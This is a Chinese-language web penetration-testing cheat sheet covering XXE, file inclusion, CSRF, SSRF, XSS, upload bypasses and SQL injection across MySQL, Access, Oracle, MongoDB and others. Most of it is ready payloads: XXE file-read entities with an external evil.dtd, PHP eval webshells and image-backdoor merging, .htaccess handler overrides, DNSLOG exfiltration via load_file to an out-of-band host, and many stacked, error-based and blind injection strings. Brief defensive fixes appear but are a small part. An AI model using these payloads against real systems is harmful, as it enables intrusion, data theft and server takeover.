XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素，其焦点是数据的内容，其把数据从HTML分离，是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection，即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。 XML 与 HTML 的主要差异： XML 被设计为传输和存储数据，其焦点是数据的内容。 HTML 被设计用来显示数据，其焦点是数据的外观。 HTML 旨在显示信息 ，而 XML 旨在传输信息。

漏洞利用

1.提交的数据包含XML格式如：

<forgot><username>admin</username></forgot>

2.请求头中如： Content-Type：text/xml或Content-type:application/xml 文件读取：

<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM  "file:///d:/www.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>

内网探针：

<?xml version="1.0" encoding="UTF-8"?>        
<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >
]>
<user><username>&rabbit;</username><password>Mikasa</password></user>

外部实体引用：(解决不回显，解决免杀拦截问题，外部引用Payload)

<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
    %file;
]>
<user><username>&send;</username><password>Mikasa</password></user>
evil2.dtd
<!ENTITY send SYSTEM "file:///d:/www.txt">

XXE防御

#XXE修复防御方案 方案1-禁用外部实体 PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python：

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案2-过滤用户提交的XML数据 过滤关键词：<!DOCTYPE和<!ENTITY，或者SYSTEM和PUBLIC

$file = $_GET['filename'];
include($file);

//http://XXX?filename=1.jpg

Local File Include

后缀限制

$file = $_GET['filename'.'.php'];
include($file);

1. 针对PHP低版本（5.2可行）： %00截断 & 长度突破
2. 针对高版本：协议利用 前提：data协议开启，allow_url_include=1； XXX.php?filename=data://text/plain,<?php%20phpinfo();?>

Remote File Include

后缀限制

RFI的后缀限制突破方法：加入GET参数（也就是"？“符号）。如XXX.php?filename=http://XXX.txt?即可

协议利用

php://filter/convert.base64-encode/resource=1.txt file:///D:/phpstudy/PHPTutorial/WWW/1.txt RCE执行： php://input Post:

data://text/plain,

思路

流程：想办法包含文件-文件来源（能不能上传） 不能上传：包含系统自身文件渗透，包含日志文件渗透 能上传：冲冲冲 RFI结合MSF-exploit/multi/script/web_delivery

常见套路：安装同一套CMS，通过Burp抓到添加管理员的数据包。在管理员已登录的情况下点击一个网址，通过HTML的form配合JS提交请求。

防御

1. 同源策略 检测来源是否同一域名（referer，仍然不安全）
2. 加入token（或者加入验证码） 每一次请求都需要一个不同的token，如果csrf使用的是与之前同一个token，那么链接失效。

突破防御

1. token爆破
2. 设计逻辑错误导致token可以重复利用

SSRF

主要产生在远程请求、代下载等场景。可以端口扫描、指纹识别、内网探针、漏洞利用等。

端口扫描

1. 通过请求http://127.0.0.1:8081查看端口是否开放，若开放则回显中会产生数据。
2. 与nmap相比，首先nmap可能扫不出来，其次在内网攻击中，某台计算机可能不联外网，只能通过内网扫描。如ftp://192.168.46.133:21 就能返回内网ftp目录；file:///D:/www.txt利用file协议请求文件内容；dict://探测mysql等等。
3. 如果不知道IP地址，也可以进行爆破。

其他几个案例

提交数据后，数据被管理员查看，可以盗取其COOKIES。（xsshs.cn） 通过BEEF控制浏览器。

DOM型XSS

通过闭合JS实现XSS。

XSS分类

fooying.com/the-art-of-xss-1-introduction

mXSS

被过滤的XSS Payload，因为（低版本QQ）预览分享功能被重新激活。

代码绕过

长度绕过

如length设置，用闭合方法，修改其length值；

尖括号被过滤怎么办？

改成onclick激活，避免尖括号即可。

script、onclick等关键字被过滤怎么办？

大小写修改或者，xz.aliyun.com/t/2936查看不同DOM元素的利用方法

工具

XSStrike XSS Fuzz字典

设置绕过

HTTPOnly 登录成功页面插入XSS实现长期控制

JS禁用、Burp改包、本地提交

后缀黑名单验证

大小写、加空格、符号点（系统特性）、::$DATA（Windows平台）

过滤不迭代问题

例如，".php. .“方法：这针对的是在过滤中，代码中去掉末尾的点，再首位去空，再进行后缀过滤点情形。

后缀白名单验证

MIME（使用FILETYPE而不是后缀验证）

后缀白名单验证

MIME、%00、0x00截断

1. 其中，MIME主要修改Content-Type项；
2. %00和0x00主要影响某些版本的PHP（CVE-2015-2348，PHP 5.4.38~5.6.6）。在文件名中插入，比方说x.php%00.jpg，并且URL-Decode后（URL中不用转换），作为文件名，即可截断后缀。 ⚠️这里注意区分，GET请求对%00进行编码，POST不对%00编码。%00自动编码后将变成%25%30%30，而这不是我们需要的。

图片后门

单纯文件头验证不安全，需要配合后缀检测。

过滤<?怎么办？

使用多种php标记方法，如

<script language="php">
eval($_POST['xd']);
</script>

二次渲染

上传的图片被修改后显示出来（尺寸或格式）。例如：

copy shell.jpg/b + shell.php/a s.jpg

将图片与后门合并后上传，若存在二次渲染，则后门可能失效。此时，应该对比上传前后的文件，观察二次渲染后文件的哪个部分不变，再将后门写入那个部分。

常见问题

单次过滤

php函数replace过滤"php”，但把文件名改成".pphphp"就可以绕过

条件竞争

php函数move_uploaded_file，先移动后过滤unlink。可以在删除前访问。 具体来说，可以在不断上传的过程中不断访问之，这个文件进行一个写入操作。（借助burp）

解析安全

格式变异

过滤时只过滤了php后缀，没有过滤php3、php4、php5、phtml等php程序

中间件解析(apache)

上传一个.htaccess，它可以更改目录下特定后缀的解析规则

<FilesMatch "shell.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

CVE-2013-4547 Nginx文件名逻辑漏洞

NGINX解析问题：后缀"1.jpg/.php"

针对性思路总结

CMS类

无资料时用常规测试思路，有资料参考资料即可。

编辑器 Ueditor

中间件 weblogic

CVE-2018-2894

CTF类

ThinkPHP 文件路径（涉及代码审计）

1. 参数类型 - 符号闭合
2. 数据库类型 - 选择不同的攻击语句和攻击思路
3. 数据提交方式 - 数据注入的时候传输不一样，如POST、HOST等
4. 数据SQL查询方式 - 1.无回显 2.测试点不同（增删改查等） 3.人工发现
5. 数据加密编码方式
6. 存在回显 - 盲注
7. 高权限 - 换一种思路获得权限

漏洞危害

1. 单个数据库泄漏
2. 所有数据库泄漏
3. 后台权限
4. web权限：文件操作、执行命令等
5. 后续导致服务器权限丢失

漏洞特点

1. 开发语言决定注入发生率
2. 数据库类型决定注入利用过程
3. 部分注入点的发现需要人工探针（增删改查等）
4. 防护注入代码过滤、WAF等

1. 过滤关键词，如select、update、insert等
2. 过滤空格

堆叠注入

数据库类型支持多条语句；

;show databases;
;show tables;
;show columns from ``;
## 由于select被过滤，因此可以将列名改为flag再输出

## 或者，采用如下方法：
';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

二次注入

先写入后组合的注入（如：注册——登录——修改）； 受到攻击的sql语句：

update user set passwd='新密码' where username='用户名' and passwd='旧密码'

密码一般会被加密，不好入手，因此选择用户名攻击：

## 空格被过滤
x"^updatexml(1,concat(0x7e,(version())),0)#

DNSLOG注入

解决不回显，相比盲注更快，但适用范围不广，因为要用到load_file()函数，需要root权限，并且secure_file_priv需要为空，且需要操作系统为Windows（\\为unc路径）。

ping test.dbuh8a.ceye.io
ping %USERNAME%.dbuh8a.ceye.io
select load_file('\\\\xxxx.dbuh8a.ceye.io\\aa'));
select load_file(concat('\\\\',(select database()),'.dbuh8a.ceye.io\\aa'));

高权限注入

数据库用户分为系统用户和普通用户。前者可看所有数据库，可进行文件读写；后者不行。 ⚠️所以，某些注入点可以读写文件。

# 判断是否高权限
python sqlmap.py -u "http://XXX?id=1" --is-dba

写入一句话后门

<?php eval($_POST['x']); ?>

select * from users order by $sth

盲注的三种类型

1. 逻辑判断 regexp、like、ascii、left、ord、mid

   like 'ro%'
   regexp '^user[a-z]'
   
   #截取字符串
   mid(str,start_loc,length)
   substr(str,start_loc,length)
   left(str,length) #从左侧截取
   
   #字符串长度
   length()
   

2. 延时判断 if、sleep

   select * from users where id=1 and if(1>2,2,0);
   select * from users where id=1 and sleep(5);
   select * from users where id=1 and if(1>2,sleep(5),sleep(10));
   

3. 报错回显 floor、updatexml、extractvalue

逻辑判断

例如：

?id=1' and length(database())=8--+
?id=1' and left(database(),1)>'a'--+

延时判断

and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+

报错注入

12种报错注入+万能语句

更新注入

update user set username='$name' where id = 1
$name = "' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '"
// 结果
update user set username='' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '' where id = 1

出现结果ERROR 1062(23000): Duplicate entry '1~security~' for key 'group_key'，则得到库名为security； 若将database()改为version()，则提示ERROR 1062(23000): Duplicate entry '1~5.5.53~' for key 'group_key'。

• 其他注入语句

sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or  updatexml(1,concat(0x7e,(version())),0) or '&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&add=Nicky' or extractvalue(1,concat(0x7e,database())) or '&email=wuhan&submit=submit

插入注入

username=x' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '
&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
username=x' or updatexml(1,concat(0x7e,(version())),0) or '&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
username=x' or extractvalue(1,concat(0x7e,database())) or '&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

删除注入

or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)
or+updatexml+(1,concat(0x7e,database()),0)
or+extractvalue(1,concat(0x7e,database()))

1. 在使用SQLMap进行POST注入时，可以使用post.txt注入，而不是使用--data参数，因为使用txt方式注入使用的是真实的数据包，而--data使用的是SQLMap自带的请求头；
2. 在注入点处用星号标记，例如host: XXX*；
3. 使用python sqlmap.py -r host.txt开始注入

万能密码原理(post注入)

例如对于下列sql语句：

select * from admin where username='$user' and password='$pass' ;

使$user = “admin’ or ‘1’=‘1”，得到

select * from admin where username='admin' or '1'='1' and password='$pass' ;

host注入

在HTTP头中，把order by 4（payload）作为host项传递。

XFF注入

例如，某些网站会验证用户的IP地址来判断是否放行；在日志记录时会在数据库中记录HTTP头信息，因此可能存在注入点。如PHP正确获取客户端IP地址。

以下三个参数可能存在注入点：

HTTP_CLIENT_IP：存在于http请求的header HTTP_X_FORWARDED_FOR：请求转发路径，客户端IP，代理1IP，代理2IP…… HTTP_X_REAL_IP：这个用得比较少，暂不讨论。 这三个值都是从HTTP请求头获取的，所以并不可靠！

根据功能区分注入类型

例如，搜索sql如下：

select * from zzz_user where name like '%$name%'

字符串相关的sql判断语句会包含引号等等。

⚠️注意数字、字母、JSON类型字符串。

数据库类型判断

1. SQL注入语句判断（配合工具）
2. 搭建组合、信息搜集
3. 端口扫描

一、Access注入（较少见，没有数据库名）

1. 猜测有多少列（order by 22）
   22正常，23错误
2. 联合注入/暴力注入（union select 1,2,3,4,…,22 from admin）
   1. 此处猜测表名为admin，此处暴力破解，配合抓包工具

> 使用Burp Suite的变量功能，批量发送数据包，批量检查返回包来确定 

<ol start="2">
  <li>
    为测试页面回显，依次在1,2,username,password,…,22写上列名<br /> 此处也需要暴力破解列名
  </li>
</ol>

3. 偏移注入：解决表名获取到但列名获取不到的情况
   表名获取不到，则必须要字典暴力破解
   依次测试下列语句，直到不再报错：

union select 1,2,3,4,…,19,20,21,* from admin
union select 1,2,3,4,…,19,20,* from admin
union select 1,2,3,4,…,19,* from admin
union select 1,2,3,4,…,18,* from admin
…

假设union select 1,2,3,4,…,16,* from admin正常显示，则admin中列的个数：22-16=6
4. 二级偏移16-6=10/三级偏移10-6=4/…

union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

二、MySQL注入

1. 猜测有多少列（order by 4）

2. 联合注入（union select 1,2,3,4）——获取数据库名

2.1. 测试回显

• 此时页面正常，将前面的条件置为假，出现数字（此处假设数字为2）
• 例如，id=1改为id=-1，或者加上and 1=2

2.2. 使用内置函数获取数据库名（假设此处为db）

union select 1,database(),3,4

• 同时可用version()、user()、@@version_compile_os查询数据库版本、用户、操作系统名

3. 获取数据（面向MySQL 5.0及以上）

• ⚠️注意：MySQL 5.0以下注入属于暴力破解，5.0及以上版本为有根据猜解。因为在MySQL 5及以上版本中有information_schema库，它储存了mysql所有数据库名、表名、列名信息。数据库版本可用上一步的 version() 获取。
  • information_schema.tables表下的列table_name 存储表名信息的表
  • information_schema.columns表下的列column_name 存储列名信息的表
  • information_schema.schemata表下的列shcema_name 存储数据库名信息的表

3.1. 获取表名

union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=’db’

• 此处db为数据库名，在第二步中已经得到（假设其中有member）
  • table_schema 数据库名
  • table_name 表名
  • column_name 列名

3.2. 获取列名

union select 1,group_concat(column_name),3,4 from information_schema.tables where table_name=’member’

• 假设获取到了name、password等列名

3.3. 获取数据

union select 1,name,password,4 from member

3.4. 若版本为5.0以下，则尝试配合字典/文件读取读取尝试获取

三、PostgreSQL注入

1. 基本思路与MySQL一致，参考：https://www.cnblogs.com/she11s/p/12326629.html

2. 猜测有多少列

order by 4

3. 联合注入

union select null,null,null,null

4. 获取数据库名：

id=-1 union select null,current_database(),null,null

5. 获取表名

id=-1 union select null,relname,null,null from pg_stat_user_tables limit 1 offset 1

6. 列名

union select null,column_name,null from information_schema.columns where table_name=’表名’

四、SQLite注入

1. 使用sqlite_master隐藏表，参考：https://www.cnblogs.com/xiaozi/p/5760321.html 中的union select注入，盲注将在以后涉及，这里暂时略过。

2. 查询表名和列名

union select 1,name,sql,4 from sqlite_master

五、DB2注入

1. 参考https://www.cnblogs.com/xiaozi/p/5760321.html

2. 猜测有多少列（order by 4）

3. 获取库名

and 1=2 union select 1,2,current schema,4 from sysibm.sysdummy1

4. 表名

and 1=2 union select 1,2,tabname,4 from syscat.tables where tabschema=current schema limit 0,1

5. 列名

union select 1,2,column_name,4 from sysibm.columns where …

6. 内置函数
   • sysibm.sysdummy1 数据库名
   • syscat.tables 表名
   • sysibm.columns 列名

六、Oracle注入

1. 参考https://www.cnblogs.com/peterpan0707007/p/8242119.html
2. 猜测有多少列（order by 4）
3. 判断列类型

union select null,null,… from dual

- 判断字符型还是数字型：在第一个null上加上单引号，正常（输出null）说明第一列为字符型，否则（不显示）为数字型。依次判断各列的类型。

4. 确定回显位

union select 1,2 from dual

5. 假设返回2，则第一个表

union select 1,(select table_name from user_tables where rownum=1) from dual

- 第二个表以此类推。

6. 通过模糊like查询获得表名，配合抓包工具（见Access数据库注入）

*七、MongoDB闭合注入（较特殊，工具可能不支持）

1. 首先要获得代码，否则将很难注入。

2. 获取回显：’}); return ({title:1,content:’2

   • ⚠️这里假如不知道字段名要靠猜，这也是MongoDB注入点少的原因。

3. 库名

'}); return ({title:tojson(db),content:’2

4. 表名

'}); return ({title:tojson(db.getCollectionNames()),content:’2

5. 列名、数据

'}); return ({title:tojson(db.Authority_confidential.find[0]),content:’2
'}); return ({title:tojson(db.Authority_confidential.find[1]),content:’2

八、MSSQL和Sybase注入

1. order by 4
2. 回显：

union all select ‘null’,null,null,null
union all select null,’null’,null,null //显示null说明回显位为2
union all select null,null,’null’,null
union all select null,null,null,’null’

3. 猜列名猜表名基本一致